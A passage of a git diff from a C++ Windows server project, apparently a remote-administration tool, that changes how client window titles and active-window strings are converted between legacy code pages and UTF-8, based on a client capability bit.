+            int wlen = MultiByteToWideChar(cp, 0, attrs.szTitle, -1, NULL, 0);
+            if (wlen > 0) {
+                wTitle.resize(wlen - 1);
+                MultiByteToWideChar(cp, 0, attrs.szTitle, -1, &wTitle[0], wlen);
+            }
+        }
+        LVITEMW lvItemW = {};
+        lvItemW.mask = LVIF_TEXT;
+        lvItemW.iItem = i;
+        lvItemW.iSubItem = 1;
+        lvItemW.pszText = wTitle.empty() ? const_cast<LPWSTR>(L"") : &wTitle[0];
+        ::SendMessageW(m_ControlList.GetSafeHwnd(), LVM_SETITEMTEXTW,
+                       (WPARAM)i, (LPARAM)&lvItemW);
+
+        m_ControlList.SetItemText(i, 2, attrs.szStatus);    // 窗口状态 (ASCII)
+        m_ControlList.SetItemText(i, 3, pidStr);            // 所属进程ID (ASCII)
+        // ItemData 为窗口句柄；Data[1] 保留原始 UTF-8 字节供排序/右键菜单使用
         auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} };
         m_ControlList.SetItemData(i, (DWORD_PTR)data);  //(d)
         dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;
diff --git a/server/2015Remote/WebService.cpp b/server/2015Remote/WebService.cpp
index 27bb755..86369dd 100644
--- a/server/2015Remote/WebService.cpp
+++ b/server/2015Remote/WebService.cpp
@@ -1468,8 +1468,24 @@ std::string CWebService::BuildDeviceListJson(const std::string& username) {
             CString version = ctx->GetClientData(ONLINELIST_VERSION);
             device["version"] = AnsiToUtf8(version);
 
+            // 活动窗口编码由客户端能力位决定：新客户端是 UTF-8，老客户端是 CP_ACP（默认 936）。
+            // 不能像其它字段那样无脑 AnsiToUtf8——会把新客户端的 UTF-8 字节再当 GBK 双重编码。
             CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
-            device["activeWindow"] = AnsiToUtf8(activeWindow);
+            std::string activeWindowU8;
+            if (!activeWindow.IsEmpty()) {
+                UINT cp = GetClientEncoding(ctx);
+                int wlen = MultiByteToWideChar(cp, 0, activeWindow, -1, NULL, 0);
+                if (wlen > 1) {
+                    std::wstring w(wlen - 1, L'\0');
+                    MultiByteToWideChar(cp, 0, activeWindow, -1, &w[0], wlen);
+                    int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
+                    if (u8len > 1) {
+                        activeWindowU8.resize(u8len - 1);
+                        WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWindowU8[0], u8len, NULL, NULL);
+                    }
+                }
+            }
+            device["activeWindow"] = activeWindowU8;
             device["online"] = true;
 
             // Add device group to response
diff --git a/server/2015Remote/context.h b/server/2015Remote/context.h
index 29d64a6..7d5d520 100644
--- a/server/2015Remote/context.h
+++ b/server/2015Remote/context.h
@@ -60,4 +60,12 @@ public:
         if (caps.IsEmpty()) return false;
         return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_V2) != 0;
     }
+
+    // 检查客户端是否使用 UTF-8 协议字符串编码。
+    // 无此能力位的老客户端：服务端按 CP_ACP（CP936，覆盖 95% 的简中/英语 ASCII 老客户端）解读。
+    bool SupportsUtf8() const {
+        CString caps = GetClientData(ONLINELIST_CAPABILITIES);
+        if (caps.IsEmpty()) return false;
+        return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_UTF8) != 0;
+    }
 };